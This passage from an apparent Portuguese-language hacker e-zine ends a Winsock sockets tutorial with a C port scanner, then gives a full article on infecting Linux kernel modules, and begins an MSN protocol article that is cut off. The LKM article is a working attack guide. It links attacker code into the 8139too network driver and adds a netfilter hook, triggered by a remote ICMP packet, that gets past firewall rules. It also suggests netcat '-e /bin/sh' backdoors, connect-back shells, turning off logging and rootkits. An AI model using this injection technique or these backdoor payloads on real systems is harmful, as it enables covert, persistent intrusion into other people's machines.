O fato é o seguinte, existe uma função específica para inicializar a API win-
sock. Em outras palavras, se você não inicializar a API, nenhuma aplicação com
sockets vai funcionar.
A função para inicializar é:
int WSAStartup(WORD,LPWSADATA);
onde o WORD é um unsigned short. O LPWSADATA é um ponteiro para a seguinte es-
trutura:
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char * lpVendorInfo;
} WSADATA;
Exemplo prático para inicializar a API Winsock:
WORD Versao; // variável
WSADATA Start; // variável
Versao=MAKEWORD(2,0);
/* aki exigimos ao Win uma versão da API. Nesse caso será a versão 2.0.*/
if(WSAStartup(Versao,&Start)!=0) {
printf("Versao 2.0 da API winsock requerida");
exit();
}
A função retorna 0 em caso de sucesso. Para encerrar o Winsock, usamos a função
WSACleanup(). Desse jeito mesmo. Quando não quisermos mais usar o Winsock, basta
utilizar esta função.Então, relembrando, para criar e usar o socket temos que
inicializar a API winsock, quando não quisermos mais usá-la, executamos a função
WSACleanup().
Nota importante: se você estiver usando o Dev-C++ para acompanhar este tutorial,
gostará de saber que há um procedimento adicional a ser realizado. Para inserir
referência à API Winsock na sua aplicação, clique em "Projects", "Project Op-
tions",clique num botão chamado "Load Object Files" e referencie um arquivo cha-
mado "libwsock32.a". Na pasta onde o Dev está instalado, localize o diretório
"Lib" e lá encontrará a biblioteca específica dos sockets ("libwsock32.a").
--=[ 9. Fechando e encerrando
Neste capítulo estudaremos funções de fechamento de sockets.
Como já foi mencionado uma vez neste tutorial, há uma função que fecha o socket.
Trata-se da função close() para unix-like e closesocket() para o Windows. O úni-
co argumento para esta função é o socket que desejamos encerrar.
int s1;
s1=socket(2,1,0);
closesocket(s1);
/*
close(s1);
unix-like
*/
Em algum momento, em seu programa,você pode querer parar o recebimento ou o en-
vio de dados ou mesmo os dois. Para isso existe uma função específica, o
shutdown(). Seu formato e sintaxe são idênticos no Windows ou em qualquer unix-
like:
int shutdown(socket int, mode int);
Onde 'mode' seria uma das três possibilidades:
/* shutdown() how types */
#define SD_RECEIVE 0x00
#define SD_SEND 0x01
#define SD_BOTH 0x02
SD_RECEIVE = aborta o recebimento de dados.
SD_SEND = aborta o envio de dados.
SD_BOTH = aborta ambos.
Exemplo:
int s1;
s1=socket(2,1,0);
shutdown(s1,SD_BOTH);
Essa função não teria utilidade para nós, já que ainda não vimos como receber e
enviar dados, mas logo terá.
--=[ 10. Scanner de portas
Vamos direto ao exemplo:
------------------------------codigo.c-----------------------------------
<++> sockets/scanner.c
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
int mysocket;
struct sockaddr_in pc_remoto;
struct servent *serv;
int i,conexao,porta,p_inicial,p_final;
if(argc!=4) {
printf("\n");
printf("*********************************************\n");
printf("*Scanner de portas usando a funcao connect()*\n");
printf("**by mi!en@r [gustavo FuckSpam milenar net]**\n");
printf("*********************************************\n\n");
printf("Uso: [x.x.x.x] [Porta inicial] [Porta final]");
printf("\n");
exit(0);
}
p_inicial=atoi(argv[2]);
p_final=atoi(argv[3]);
for(porta=p_inicial;porta<=p_final;porta++) {
// aqui é lógica pura, entendam.
mysocket=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
// cria socket
if(mysocket==-1) {
// se deu -1, sinal q houve algum erro.
printf("Nao foi possivel criar socket\n");
close(mysocket);
exit(1);
}
pc_remoto.sin_family=AF_INET;
// arquitetura AF_INET, se lembra pq?
pc_remoto.sin_port=htons(porta);
// veja o detalhe. Convertemos a NBO para funcionar.
pc_remoto.sin_addr.s_addr=inet_addr(argv[1]);
/* endereço convertido de ASCII,
q o user digitou na linha de comando, para um IP. */
memset(&(pc_remoto.sin_zero),'\0',8);
// zera a estrutura para acomodar no sockaddr.
if(conexao=connect(mysocket,(struct sockaddr *)&pc_remoto,sizeof(pc_remoto))==-1) {
/* deu -1, sinal q nao houve conexao, entao,
pressupomos q a porta estah fechada. */
printf(".\n");
close(mysocket);
// fechamos o socket e deixamos o laço "for" trabalhar
}
else {
serv=getservbyport(htons(porta),"tcp");
printf("Porta %d aberta. Servico [%s]\n",porta,serv->s_name);
/* informa q a porta estah aberta
e mostra qual o serviço disponível. */
close(mysocket);
// fecha o socket e deixar o "for" trabalhar
}
/* user win, já sabe o q deve estar aqui, certo?
Não queremos mais usar o socket */
}
return 0;
}
<--> sockets/scanner.c
------------------------------codigo.c-----------------------------------
A lógica é muito simples.Tentamos nos conectar a determinada porta usando a fun-
ção connect, caso haja falha na conexão, pressupomos que aquela porta está fe-
chada. Caso nosso programinha consiga a conexão, significa que a porta está a-
berta. Leia o código-fonte inteiro, já estamos aptos a entendê-lo. Além disso,
comentei o código todo, tornando sua compreensão mais fácil ainda.
Gostaria que vocês compilassem e testassem todos os exemplo que incluí, mesmo os
mais banais.Além disso, quero que desenvolvam e testem suas próprias aplicações.
É verdade que com este tutorial pouco se pode fazer,mas com o pouco conhecimento
que já tem, botem a criatividade para funcionar, testem as idéias que aparecerem
e certamente dúvidas inteligentes surgirão.
Nunca é demais lembrar que este scanner de portas tenta estabelecer conexão com
o host alvo, isto significa que qualquer firewall meia-boca poderia detectá-lo.
Por isto, tome cuidado onde for executá-lo. Empresas de segurança contabilizam
scanneamento de portas como tentativas de invasão. Cuidado.
Em relação aos headers para UNIX, pode variar muito, por isso veja com as man
pages, elas ajudam barbaridades! Usei como base para a escrita desse tutorial o
FreeBSD 5.1 e o Windows 2000 Professional.
Por hoje é só. Estudem esse texto aí em cima, e estejam preparados. Veja que a-
penas nos conectamos a um servidor; no próximo tutorial vamos ver como receber
conexões e como enviar/receber dados.
Abraços!
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[LKM Code Injection]=-|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
--=[ Introducao
Melhor que conseguir elevar privilegios em um sistema e deixar um LKM
nosso, com backdoors, rootkits, ou o que for, e' colocar isso tudo em um LKM do
sistema. Desta forma, a deteccao de rastros de uma intrusao fica um pouco mais
dificil.
Neste pequeno texto, veremos de maneira clara (eu espero) como podemos
infectar um LKM, adicionando mais funcoes ou modificando-as, da maneira que
acharmos uteis ao nossos objetivos.
O assunto pode parecer um pouco complexo para iniciantes, entretanto o
que e' tratado e' somente o basico. Entao, se ja possui um conhecimento do as-
sunto, e' mais proveitoso procurar por algo mais avancado para leitura. Conhe-
cimento previo sobre a escrita de LKM e bem-vindo, embora nao seja indispensa-
vel. Exemplos e citacoes sao feitos tendo em mente o kernel do GNU/linux,
2.4.x.
--=[ O que sao LKMs
LKMs sao "pedacos" do kernel, que podem ser carregados e descarregados
dinamicamente, aumentando (ou diminuindo) a gama de opcoes e funcionalidades que
sao disponibilizadas pelo kernel do sistema. Por ser carregado sob demanda, ou
seja, nao esta embutido no proprio kernel, LKMs tem diversas vantagens a codigo
escritos diretamente no kernel. Entre elas temos:
- Economia de memoria: Pelo fato de ser carregada somente quando necessario,
nao existe desperdicio de memoria com funcoes que nao sao utilizadas constan-
temente;
- Facilidade na compilacao e debug: LKMs apos carregadas sao parte do kernel,
entretanto nao precisam ser compiladas junto com ele. Podem ser escritos e
compilados a qualquer momento. Quando se tem problemas com o codigo, e' possi-
vel fazer um debug dele com facilidade muito maior do que se o codigo estives-
se embutido no kernel. E' mais rapido descarregar o modulo, modificar o codigo,
recompilar e recarregar o modulo do que reescrever a parte do codigo que esta
no kernel, recompilar tudo e reiniciar o computador!
- Novos drivers podem ser testados sem precisar reiniciar o sistema. E sao em
drivers que iremos nos concentrar.
--=[ Inicio - Primeiros Exemplos
A forma mais simples de entender como funciona e' com exemplos. Inicial-
mente, criamos um modulo chamado driver_original.o, que sera o exemplo usado
como modulo do sistema, que futuramente sera infectado:
<++> lkm_injection/driver_original.c
/*
* Simples exemplo de um lkm que nao faz nada,
* mas poderia ser, por exemplo, um driver de
* uma placa de rede.
* Compile com $gcc -O3 -c driver_original.c
*/
#define MODULE
#define __KERNEL__
#include
#include
static int __init inicio(void)
{
printk ("<1> Iniciando driver_original \n");
printk ("<1> Executando funcoes iniciais\n");
printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
return 0;
}
static void __exit fim(void)
{
printk ("<1> Finalizando modulo orignal \n");
}
module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");
<--> lkm_injection/driver_original.c
Antes de carregar o modulo, e' interessante ter o syslogd funcionando
corretamente e com a seguinte linha no seu arquivo de configuracao (normalmente
/etc/syslog.conf):
kern.alert /var/log/alert
Dessa forma poderemos observar melhor as mensagens que serao emitidas pelo mo-
dulo. Apos isso, compile o codigo e carregue o modulo:
#gcc -O3 -c driver_original.c
#insmod driver_original.o
As opcoes passadas para o gcc sao:
|| -O3: Optimize yet more. -O3 turns on all optimizations specified
|| by -O2 and also turns on the -finline-functions and -frename-registers
|| options. (E' uma opcao para otimizacao do objeto criado pelo gcc.).
||
|| -c: Compile or assemble the source files, but do not link. The linking
|| stage simply is not done. The ultimate output is in the form of an object
|| file for each source file.
As seguintes mensagens devem aparecer em '/var/log/alert' (ou nao, elas
ainda podem aparecer em outro arquivo de log, sinistramente):
Nov 14 17:24:57 matrix kernel: Iniciando driver_original
Nov 14 17:24:57 matrix kernel: Executando funcoes iniciais
Nov 14 17:24:57 matrix kernel: Modulo carregado e aguardando chamada a
suas funcoes
Com o driver (pseudo-driver que faz absolutamente nada mais do que exi-
bir mensagens) criado, podemos agora criar o modulo que contem o codigo que se-
ra injetado no driver_original.o:
<++> lkm_injection/infector.c
/*
* Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
* seja, so executa alguma funcao durante o carregamento dele), que sera
* utilizado para ser injetado em um outro modulo.
*/
#define MODULE
#define __KERNEL__
#include
#include
int init_module(void)
{
printk ("<1> Iniciando funcoes do modulo injetado\n");
return 0;
}
<-->lkm_injection/infector.c
Observe que o modulo anterior possui apenas uma funcao, a init_module.
Essa funcao e' a equivalente a "main()" em um programa em C comum, ou seja, e'
a primeira funcao a ser executada na execucao do modulo, que no caso e' o car-
regamento dele. Como deve imaginar, existe tambem uma funcao executada logo an-
tes do descarregamento do modulo. Essa funcao e' a "cleanup_module()".
Compile o codigo e carregue o modulo:
#gcc -O3 -c infector.c
#insmod infector.o
A seguinte mensagem deve aparecer em '/var/log/alert':
Nov 14 17:36:29 matrix kernel: Iniciando funcoes do modulo injetado
Por enquanto, tudo que temos sao dois modulos separados (note que a uni-
ca coisa que os modulos estao fazendo ate agora e' exibir mensagens no arquivo
de log. Leve em conta o seguinte:
- As funcoes do driver_original.o ja existem, como codigo do modulo do sistema
que futuramente sera infectado. Poderiamos estar usando como exemplos o codigo
de um driver real, mas isso apenas complicaria de forma desnecessaria a explana-
cao de como podemos efetuar a infeccao;
- As nossas funcoes - backdoors, rootkits, etc - serao adicionadas em breve
(por voce, obvio, apenas sera mostrado que e' possivel fazer e como poderia
ser feito).
Voltando ao que vale, o que precisamos fazer agora, e' injetar o modulo
infector.o dentro do modulo driver_original.o. Para isso, podemos utilizar o
GNU Linker (ld):
|| "ld combines a number of object and archive files,
|| relocates their data and ties up symbol references.
|| Usually the last step in compiling a program is to run
|| ld."
Para injetar o codigo do infector.o dentro do driver_original.o, podemos
fazer da seguinte forma:
#ld -r -z muldefs infector.o driver_original.o -o devil.o
Basicamente o que e' feito aqui e' uma injecao da funcao 'int init_modu-
le(void)' (a unica) do modulo infector.o para o modulo driver_original.o, crian-
do um novo modulo, chamado devil.o. O codigo do driver_original.o deve ter fica-
do parecido com o seguinte:
/** driver_original_infectado */
#define MODULE
#define __KERNEL__
#include
#include
static int __init inicio(void)
{
printk ("<1> Iniciando driver_original \n");
printk ("<1> Executando funcoes iniciais\n");
printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
return 0;
}
static void __exit fim(void)
{
printk ("<1> Finalizando modulo orignal \n");
}
module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");
int init_module(void)
{
printk ("<1> Iniciando funcoes do modulo injetado\n");
return 0;
}
/** fim de driver_original_infectado */
Apos carregar ele (#insmod devil.o), o seguinte e' visto em '/var/log/alert':
Nov 14 18:34:42 matrix kernel: Iniciando funcoes do modulo injetado
Esta funcionando, mas nao perfeitamente, ainda. Alguns detalhes devem
ser observados. Um pouco de teoria:
Em um LKM, a primeira funcao a ser executada e' a init_module() OU algu-
ma funcao passada como argumento para a macro module_init() (que no caso do
driver_original.c, foi a funcao 'inicio'). A macro module_init() esta declarada
em '/usr/src/linux/include/linux/init.h':
|| /**
|| * module_init() - driver initialization entry point
|| * @x: function to be run at kernel boot time or module insertion
|| *
|| * module_init() will add the driver initialization routine in
|| * the "__initcall.int" code segment if the driver is checked as
|| * "y" or static, or else it will wrap the driver initialization
|| * routine with init_module() which is used by insmod and
|| * modprobe when the driver is used as a module.
|| */
|| #define module_init(x) __initcall(x);
Se observar, vera que no codigo teria tanto a funcao "module_init" quanto
a "init_module". Entao, caso o codigo acima fosse compilado, ocorreria um erro:
error: redefinition of `init_module'
error: `init_module' previously defined here
O mesmo ocorreria se eles fossem compilados separados e posteriomente
linkados. Para contornar este problema, compilamos os arquivos separadamentes e
linkamos, passando o argumento '-z muldefs' para o ld, informando a ele para
aceitar definicoes multiplas de uma mesma funcao. Desta forma podemos substituir
(sobreescrever) a funcao 'module_init(inicio)', que inicializa o driver_original
.o, pela funcao init_module() do modulo infector.o.
Dessa forma teriamos o nosso modulo injetado dentro do modulo que esta-
mos tentando infectar. So tem um detalhe: A funcao 'module_init(inicio)' que se-
ra sobreescrita contem codigo que pode ser essencial para o modulo, em sua ver-
sao nao infectada (aqui o codigo original apenas exibe mensagens, mas normalmen-
te nao e' apenas isso que ocorre), e deve continuar sendo executado. Para que
tudo funcione corretamente, basta que o modulo infector.o, em sua inicializacao,
execute uma chamada para a funcao inicio() do modulo driver_original.o.
Complicou? Observe:
<++> lkm_injection/infector2.c
/*
* Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
* seja, so executa alguma funcao durante o carregamento dele), que sera
* utilizado para ser injetado em um outro modulo. Apos carregado, executa funcao
* principal do modulo infectado
*/
#define MODULE
#define __KERNEL__
#include
#include
int init_module(void)
{
printk ("<1> Iniciando funcoes do modulo injetado\n");
printk ("<1> ***inicializando modulo original*** \n\n");
inicio (); // funcao inicio do driver_original, chamada para
// inicializacao dele
return 0;
}
<--> lkm_injection/infector2.c
Compilamos o novo modulo e linkamos com o modulo original, criando um outro
modulo, chamado devil.o:
# gcc -O3 -c infector2.c
# ld -r -z muldefs infector2.o driver_original.o -o devil.o
Apos carregar o modulo (#rmmod devil; insmod devil.o), vemos o seguinte em
'/var/log/alert':
Nov 14 18:39:24 matrix kernel: Iniciando funcoes do modulo injetado
Nov 14 18:39:24 matrix kernel: ***inicializando modulo original***
Nov 14 18:39:24 matrix kernel: Iniciando driver_original
Nov 14 18:39:24 matrix kernel: Executando funcoes iniciais
Nov 14 18:39:24 matrix kernel: Modulo carregado e aguardando chamada a
suas funcoes
Exatamente o que e' necessario:
- Nosso modulo e' executado, fazendo o que precisa;
- Nosso modulo chama a funcao original do modulo que foi infectado;
- Modulo original funciona normalmente, como se nada tivesse acontecido.
So precisamos de algum codigo util para ser executado e algum modulo para
servir de hospedeiro!
--=[ Localizando o Hospedeiro
Como dito anteriormente, a primeira funcao a ser executada em um modulo
pode ser tanto module_init(FUNCAO), quanto init_module(). No caso da infeccao
de um modulo que seja inicializado por module_init(FUNCAO), so precisamos nos
certificar que o codigo que infectou o modulo original faca uma chamada para
'FUNCAO', garantindo assim que tudo que deve ser executado por ele ao ser car-
regado realmente sera executado. Agora, no caso da infeccao de um modulo que e'
inicializado por init_module(), a situacao e' diferente. E' necessario literal-
mente reescrever o init_module() do modulo original dentro do modulo que ira
causar a infeccao. Isto pode ser um tanto chato de se fazer, dependendo do
tamanho da funcao de inicializacao. Por este simples motivo, sera dado preferen-
cia aos modulos que sejam inicializados por module_init(FUNCAO).
Decidir qual modulo utilizar nao deve ser uma tarefa muito complicada.
Vamos levar em consideracao o seguinte:
- Para que possamos acessar uma maquina remota, ela obviamente esta conectada
a rede atraves de algum dispositivo, que normalmente e' uma interface de rede
(ethernet);
- Para que a interface de rede possa ser utilizada, e' necessaria a utilizacao
de algum tipo de driver;
- A maioria das distribuicoes de linux atualmente, colocam os drivers de
interfaces de rede como modulos;
Com estas informacoes, conclui-se que e' bastante interessante a infec-
cao de um driver de interface de rede (se a maquina nao carregar este modulo a
cada inicializacao do sistema, ela nao tera acesso a rede e nos nao teremos
acesso a ela de qualquer forma, por isso a escolha).
Outro detalhe que vale observar e' que muitas maquinas costumam utilizar
placas de rede comuns (realtek, sis900, 3com), assim utilizam os mesmos modulos
(sistemas diferentes utilizando modulos iguais), o que facilitaria bastante a
escrita de nosso codigo de infeccao. Vamos dar uma observada no codigo destes
modulos controladores de dispositivos de rede:
|| /** realtek 8139 */
|| /*
|| 8139too.c: A RealTek RTL-8139 Fast Ethernet driver for Linux.
|| Maintained by Jeff Garzik
|| Copyright 2000-2002 Jeff Garzik
|| */
|| ...
|| muito codigo
|| ...
|| module_init(rtl8139_init_module);
|| module_exit(rtl8139_cleanup_module);
|| /** fim de realtek 8139 */
|| /** sis900 */
|| /* sis900.c: A SiS 900/7016 PCI Fast Ethernet driver for Linux.
|| Copyright 1999 Silicon Integrated System Corporation
|| Revision: 1.08.06 Sep. 24 2002
||
|| Modified from the driver which is originally written by Donald Becker.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(sis900_init_module);
|| module_exit(sis900_cleanup_module);
|| /** fim de sis900 */
|| /** ne2k */
|| /* ne2k-pci.c: A NE2000 clone on PCI bus driver for Linux. */
|| /*
|| A Linux device driver for PCI NE2000 clones.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(ne2k_pci_init);
|| module_exit(ne2k_pci_cleanup);
|| /** ne2k */
O codigo completo dos arquivos esta em '/usr/src/linux/drivers/net'.
Nota alguma semelhanca entre o codigo desses drivers e o codigo do
"driver_original.c"? Observa-se que muitos destes drivers estao codificados de
forma a facilitar o nosso trabalho. Tendo entao alguns hospedeiros selecionados,
vamos juntar alguns codigos interessantes para injetar neles.
--=[ Colocando Algum Codigo Util
Agora que ja sabemos como fazer, precisamos decidir o que fazer. Algumas
ideias:
- Uma backdoor;
- Um logcleanner;
- Um rootkit;
- Um sninffer;
- Qualquer coisa que voce tiver ideia! Voce esta no comando.
Com as ferramentas em maos, vamos ver uma pseudo-implementacao de algum
codigo realmente util. O codigo a seguir e' uma LKM que contem um codigo inofen-
sivo, ate que o kernel manipule um pacote ICMP de 50 bytes (em outras palavras,
o codigo nocivo da LKM e' ativado por um PING remoto de 50 bytes, que pode ser
feito assim: $ping -s 22 ip.da.vitima). Isso e' feito com a criacao de um hook
no netfilter, que e' adicionado antes de outras possiveis regras que poderiam
ter sido criadas para bloquear pacotes ICMP, ou seja, voce pode com isso passar
por um conjunto de regras que tornaria a vitima inacessivel. E mais, voce pode
criar regras on-the-fly, para permitir que a maquina que enviou o pacote ICMP
tenha acesso irrestrito. Resumindo, voce pode inutilizar as regras que tenham
sido criadas.
Para execucao, e' possivel colocar o que quiser: uma backdoor (que tal
executar o netcat ouvindo em uma porta X e passar a opcao "-e /bin/sh" para ele?
Uma root shell sem muito esforco), uma backdoor em connect-back (que tal esse
mesmo netcat se conectar no ip de quem enviou o pacote ICMP), desativar o syslo-
gd enquanto o ip de quem enviou o pacote ICMP estiver se comunicando com a ma-
quina, etc. Observe que, se receber 50 pacotes do tamanho especifico, o codigo
nocivo sera executado 50 vezes, o que nao sera bom na maioria dos casos. No
exemplo, apenas exibe uma mensagem, entao nao teremos problemas. Tenha isso em
mente no momento que for implementar algo e controle a execucao do codigo noci-
vo. Segue a implementacao:
<++> lkm_injection/injekt.c
/*
* Implementacao de lkm com codigo nocivo ativado remotamente,
* atraves do recebimento de um pacote ICMP de 50 bytes, que pode
* ser alterado passando o parametro pkt_size:
* #insmod injekt.o pkt_size=100
*
*/
#define __KERNEL__
#define MODULE
#define P_SIZE_OFFSET 28
#include
#include
#include
#include
#include
#include
#include
#include
/* declaracoes de variaveis e prototipo de funcoes */
int exec_injetk(void);
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff*));
/* funcao principal do modulo */
int __init init_injekt()
{
printk ( "<1> Inicializando : icmp_pkt_size: " \
"%i bytes\n\n", pkt_size + P_SIZE_OFFSET);
/* informacoes para registrar o hook do netfilter */
nfh.hooknum = NF_IP_LOCAL_IN;
nfh.priority = NF_IP_PRI_FIRST;
nfh.hook = i_ll_hook_you;
nfh.pf = PF_INET;
/* a hook e' criada */
nf_register_hook(&nfh);
return 0;
}
/* funcao de saida do modulo */
void __exit exit_injekt ( )
{
/* remove a hook */
nf_unregister_hook( &nfh );
}
/* O que sera feito quando receber o pacote ICMP do tamanho especificado */
int i_am_terrible( )
{
printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
return 0;
}
/* aqui temos a hook propriamente dita */
unsigned int i_ll_hook_you (
unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff * ) ) {
struct sk_buff *sk = *skb;
/* verifica se o protocolo e' icmp e o tamanho do pacote e' o especificado */
if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
sk->len == P_SIZE_OFFSET + pkt_size ) {
/* informa que recebeu o pacote */
//printk ( "<1> Recebido pacote de %i bytes )\n\n", sk->len );
i_am_terrible();
return NF_STOLEN; /* elimina o pacote! */
}
return NF_ACCEPT; /* retorna o pacote para ser feito o que for preciso */
}
/* informacoes do modulo */
module_init ( init_injekt );
module_exit ( exit_injekt );
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP ( Padrao = 50 )" );
MODULE_LICENSE ( "GPL" );
MODULE_AUTHOR ( "tDs " );
MODULE_DESCRIPTION ( ":: keep your mind free() ::" );
<--> lkm_injection/injekt.c
--=[ Cenario Real: Infectando um Driver
Vamos utilizar como exemplo o driver 8139too.o, que normalmente esta em
"/lib/module/kernel_versao/kernel/drivers/net/8139too.o.gz". Note que ele esta
compactado (na maioria das distribuicoes), entao nao tente injetar seu modulo
sem antes descompactar. O codigo que sera injetado e' o que foi exposto acima,
levemente modificado (embora continue fazendo nada mais do que exibir mensagens).
Segue o codigo:
<++>lkm_injection/8139injekt.c
/*
* Implementacao de lkm com codigo nocivo ativado remotamente,
* atraves do recebimento de um pacote ICMP de 50 bytes, que pode
* ser alterado passando o parametro pkt_size:
* #insmod 8139injekt.o pkt_size=100
* preparado para infectar driver da placa de rede realtek 8139too
* /lib/modules/2.4.x/kernel/drivers/net/8139too.o.gz
*
*/
#define __KERNEL__
#define MODULE
#define P_SIZE_OFFSET 28
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int exec_injetk(void);
extern RTL8139_DRIVER_NAME;
extern rtl8139_pci_driver;
//extern pci_module_init();
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff*));
int init_module()
{
/* codigo do driver original */
/* when we're a module, we always print a version message,
* even if no 8139 board is found.
*/
#ifdef MODULE
printk("<8> %s \n", RTL8139_DRIVER_NAME);
#endif
nfh.hooknum = NF_IP_LOCAL_IN;
nfh.priority = NF_IP_PRI_FIRST;
nfh.hook = i_ll_hook_you;
nfh.pf = PF_INET;
nf_register_hook(&nfh);
/* codigo do driver original */
return pci_module_init(&rtl8139_pci_driver);
}
void cleanup_module ( )
{
/* remove a hook */
nf_unregister_hook( &nfh );
/* codigo do driver original */
pci_unregister_driver(&rtl8139_pci_driver);
}
int i_am_terrible( )
{
printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
return 0;
}
unsigned int i_ll_hook_you (
unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff * ) ) {
struct sk_buff *sk = *skb;
if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
sk->len == P_SIZE_OFFSET + pkt_size ) {
i_am_terrible();
return NF_STOLEN;
}
return NF_ACCEPT;
}
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP ( Padrao = 50 )" );
<-->lkm_injection/8139injekt.c
Compile e linke o modulo. Apos linkar, sera exibida uma mensagem de
advertencia:
# gcc -O3 -c 8139injekt.c
# ld -r -z muldefs 8139inject.o 8139too.o -o devil.o
ld: Warning: size of symbol `init_module' changed from 139 in badcode.o
to 70 in 8139too.o
ld: Warning: size of symbol `cleanup_module' changed from 32 in badcode.o
to 12 in 8139too.o
# modinfo devil.o
filename: devil.o
description: "RealTek RTL-8139 Fast Ethernet driver"
author: "Jeff Garzik "
license: "GPL"
parm: pkt_size int, description "Tamanho de pacote ICMP
( Padrao = 50 )"
parm: multicast_filter_limit int, description "8139too maximum number
of filtered multicast addresses"
parm: max_interrupt_work int, description "8139too maximum events
handled per interrupt"
parm: media int array (min = 1, max = 8), description "8139too: Bits
4+9: force full duplex, bit 5: 100Mbps"
parm: full_duplex int array (min = 1, max = 8), description "8139too:
Force full duplex for board(s) (1)"
parm: debug int, description "8139too bitmapped message enable number"
Observe que o modulo agora contem o parametro que definimos anteriormen-
te, em nosso modulo. Apos carregar o modulo, o hook do netfilter que foi criada
estara disponivel e, para ativar a nossa funcao "i_am_terrible", basta um
"ping -s 22 ip.da.vitima". Note que o PING nao vai retornar resposta, visto que
o pacote sera descartado no hook. Entretanto, funcionara perfeitamente. Ultima
observacao: Nao tente fazer isso com um driver de um dispositivo nao presente
na maquina, os resultados podem ser desastrosos ( panic() ).
Muito pode ser feito com infeccao de modulo, embora pessoas com maior
conhecimento normalmente utilizam-se de outros meios para manter acesso em
hosts previamente dominados. A utilizacao de modulos para esse fim pode ser
bastante efetiva e ao mesmo tempo muito simples de ser implemtentada.
--=[ Agradecimentos e Links/Referencias
Pessoal da scene brasileira toda, em especial ao pessoal que converso
com maior frequencia. Voces sabem quem sao voces.
Informacao e' simples de se adquirir, internet esta cheia disso. Basta saber
procurar.
http://www.motdlabs.org
http://tds.motdlabs.org
http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/
http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html
http://www.netfilter.org/
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[05]-=[MSN Hacking]-=|Leandro A. Thomas|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Indice
======
1.0 Introducao
2.0 Preludio
3.0 Processo de Autenticacao
4.0 Obtendo MS Passport e Ticket
5.0 Conexao Estabelecida
6.0 Exemplo Simples
7.0 Referencia
8.0 Consideracoes Finais
--=[ 1.0 Introducao
E ai pessoal !!!
Ha um tempo resolvi dar uma estudada sobre como se da o funcionamento do
protocolo utilizado pelo MSN. Aos seres que vivem em outro mundo, MSN se
trata de um servico de chat nativo da Microsoft, tambem conhecido como "MSN
Messenger", onde os usuarios que possuem e-mail podem se cadastrar e utiliza-lo
como software para mensagens instantaneas. Apesar de possuir seu codigo fechado
(pra variar neh), a popularidade junto com a curiosidade fez com que o hacking
mais uma vez fosse utilizado para o bem, ao menos para nos :P
Voce deve estar se perguntando: se a Microsoft esconde todo o funciona-
mento dele, como o pessoal conseguiu descobrir? Eh claro que ainda existem algu-
mas duvidas, mas tecnicas de sniffing e engenharia reversa ajudaram muito a
entender seu funcionamento. Com isso, muitos projetos foram desenvolvidos,
justamente como nova opcao em sistemas nao-windows. Um exemplo eh o famoso
aMSN, cliente MSN popularizado pela comunidade Linux, feito em tcl/tk.
Confira nos links alguns projetos desenvolvidos:
- http://www.warwick.ac.uk/~esucbg/TjMSN/
- http://kmess.sourceforge.net/
- http://amsn.sourceforge.net/
- http://www.ut.ee/~moby/msn/
--=[ 2.0 Preludio
Ao programar um cliente MSN, certamente ira se deparar com algumas si-
tuacoes que o deixarao com duvidas quanto a comunicacao com o servidor. Para
auxiliar recomendo a utilizacao de um sniffer (tcpdump ou ethereal, por exemplo)
para depurar algumas respostas. Antes de comecar a estudar o funcionamento do
MSN, eh interessante ficar por dentro de algumas definicoes.
MSN Protocol (MSNP):
O MSN segue um conjunto de regras especificadas em seu protocolo, que
gerenciam desde o handshake de comunicacao entre cliente e servidor ateh
processos mais avancados como troca de mensagens, envio de arquivos, etc.
Este protocolo eh denominado MSNPx, onde x eh a versao utilizada no
servidor de autenticacao. Para nosso artigo, iremos trabalhar com o
MSNP10, lembrando que ele deve ser especificado na negociacao com o
servidor (veremos mais a frente). Caso o servidor trabalhe com versoes
mais antigas do MSNP, nao havera acordo entre as partes, se voce estiver
com uma versao diferente a exigida.
Notification Server (NS):
Podemos considerar a autenticacao com o NS a base de tudo. Este servidor
eh responsavel por manipular sua presenca, definindo seu status (online,
